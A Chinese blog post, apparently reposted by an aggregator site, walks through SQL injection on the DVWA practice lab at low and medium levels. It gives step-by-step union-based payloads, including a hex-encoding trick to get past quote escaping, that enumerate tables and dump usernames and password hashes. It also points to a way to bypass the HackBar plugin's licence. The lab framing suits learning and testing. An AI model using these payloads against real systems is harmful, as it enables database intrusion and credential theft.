欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > 【SQL注入】DVWA靶场SQL注入实践

【SQL注入】DVWA靶场SQL注入实践

2025/9/22 5:45:18 来源:https://blog.csdn.net/weixin_40433003/article/details/145308065  浏览:    关键词:【SQL注入】DVWA靶场SQL注入实践

SQL注入

一、low 等级

1)判断是否存在sql注入,输入1',返回错误

在这里插入图片描述

当输入1',返回错误,说明页面没有对1'进行过滤,即攻击者可以对数据库进行操作。

当输入1,回显正常,确认存在sql注入。
在这里插入图片描述

(2)猜解SQL查询语句中的字段数

  • ORDER BY 2 成功执行,说明查询返回了至少 2 列
1' order by 2#

在这里插入图片描述

  • ORDER BY 3 执行错误,说明查询返回2列
1' order by 3#

(3)确定回显位置为第二个位置(查询结果显示在原始查询返回的第二列的位置)

1' union select 1,2#

(4) 获取当前数据库。dvwa

1' union select 1,database()#

在这里插入图片描述

(5)获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

(6) 获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

(7) 获取字段中的数据

1' union select user,password from users#

在这里插入图片描述

二、medium等级

2.1 hackbar安装

firefox自带插件,但是遇到收费版本,需要引入一个文件({4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi)。
详细步骤见博客:hackbar绕许可、
引入文件地址。

2.2 构造post data

构造Post data :id=4&Submit=Submit。网页可以回显id=4的字段。

在这里插入图片描述

2.3 猜解SQL查询语句中的字段数。
id=1 order by 2 &Submit=Submit //正常回显
id=1 order by 3 &Submit=Submit  //报错
2.4 决定回显位置。回显位置为2。
id=1 union select 1,2 &Submit=Submit

在这里插入图片描述

2.5 获取数据库名
id=1 union select 1,database() &Submit=Submit

在这里插入图片描述

2.6 获取表名

使用下面代码来获取表名

id=4 union select 1, group_concat(table_name) from information_scheme.table where table_schema = database()&Submit=Submit

该方法行不通,需要转变思路,利用burpsuite抓包,修改数据包内容,得到网页的回显。 使用burp进行抓包。步骤如下:

  1. 安装谷歌浏览器插件:SwitchyOmega_Chromium插件

  2. 导入插件后,设置代理
    在这里插入图片描述

  3. 启用代理,打开burp可以看到抓取的流量

在这里插入图片描述
4. 使用repeater模块 按照下图进行修改
在这里插入图片描述
如下所示:
在这里插入图片描述
修改数据包内容,得到网页的回显,如下所示:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
输入网址,页面如下:
在这里插入图片描述
上面可以看出,成功!接下来,对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;下面我们通过burp抓包修改,和上面步骤相同。

  • 使用burp抓包后,和之前步骤一样,将内容替换如下:
id=2 union select 1,table_name from information_schema.tables where table_schema=(select database())#&Submit=Submit

在这里插入图片描述
回显内容:数据库dvwa中存在两个表user和guestbook

2.7 查看表中的字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

使用该语句,页面无回显,原因是:

  • 当SQL语句中存在'',会直接让其转义,并不能对数据库的内容进行修改。所以需要对users进行编码;users转换为16进制为0x7573657273。因此使用如下代码来注入:
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit

在这里插入图片描述
如上图所示,可以看到我们获得了关键字段:user和password,因此我们接着使用如下语句进行注入

id=1 union select user,password from users#&Submit=Submit

在这里插入图片描述
获得了用户名和密码!

参考链接

  1. 参考博客

说明

以上仅供学习。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词